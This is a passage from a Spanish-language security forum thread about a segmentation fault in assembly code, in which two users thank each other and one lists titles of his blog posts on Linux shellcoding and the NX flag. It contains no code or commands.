Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en un código ensamblador

Notapor NewLog » Vie Sep 03, 2010 2:43 pm

Madre mía, esto sí que es llegar a la solución de un problema de un modo racional y a la vez empírico.

Hemos dado la talla como wadalbertitas, y todos hemos aportado nuestro grano de arena. Al menos, yo he aprendido un huevo!

PLAS PLAS PlAS!

El poder que del embudo emana no se debe subestimar jamás :embudito:

Gracias a los dos por vuestro curro.
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en un código ensamblador

Notapor vlan7 » Dom Sep 05, 2010 12:33 am

"El poder del embudo está ya contigo. Siempre" :embudito:
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en un código ensamblador

Notapor vlan7 » Mié Oct 27, 2010 6:50 am

Buenas!

He hecho una especie de trilogia de lo que me ha servido de este post para afianzar conceptos de shellcoding. Si veis algun error o teneis alguna sugerencia soy todo ojos para actualizar!

Local Linux x86 Shellcoding without any high level language
Creando shellcodes "position independent"
Shellcoding. A vueltas con el flag NX

Un saludo.
Última edición por vlan7 el Mar Abr 05, 2011 1:45 am, editado 2 veces en total
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en un código ensamblador

Notapor NewLog » Mié Oct 27, 2010 9:38 am

Muy buen resumen de todo el hilo!

Irá muy bien tenerlo todo a mano y listo para cuando se necesite! En vez de ir buscando respuesta por respuesta en este hilo.

Los he leido y están muy bien. El del push de la cadena sobretodo! Nos esuvimos un buen tiempo con eso eh! Le has solucionado el problema a todos aquellos que lean tu blog ;)

Saludos!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Anterior

Volver a Programación

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 3 invitados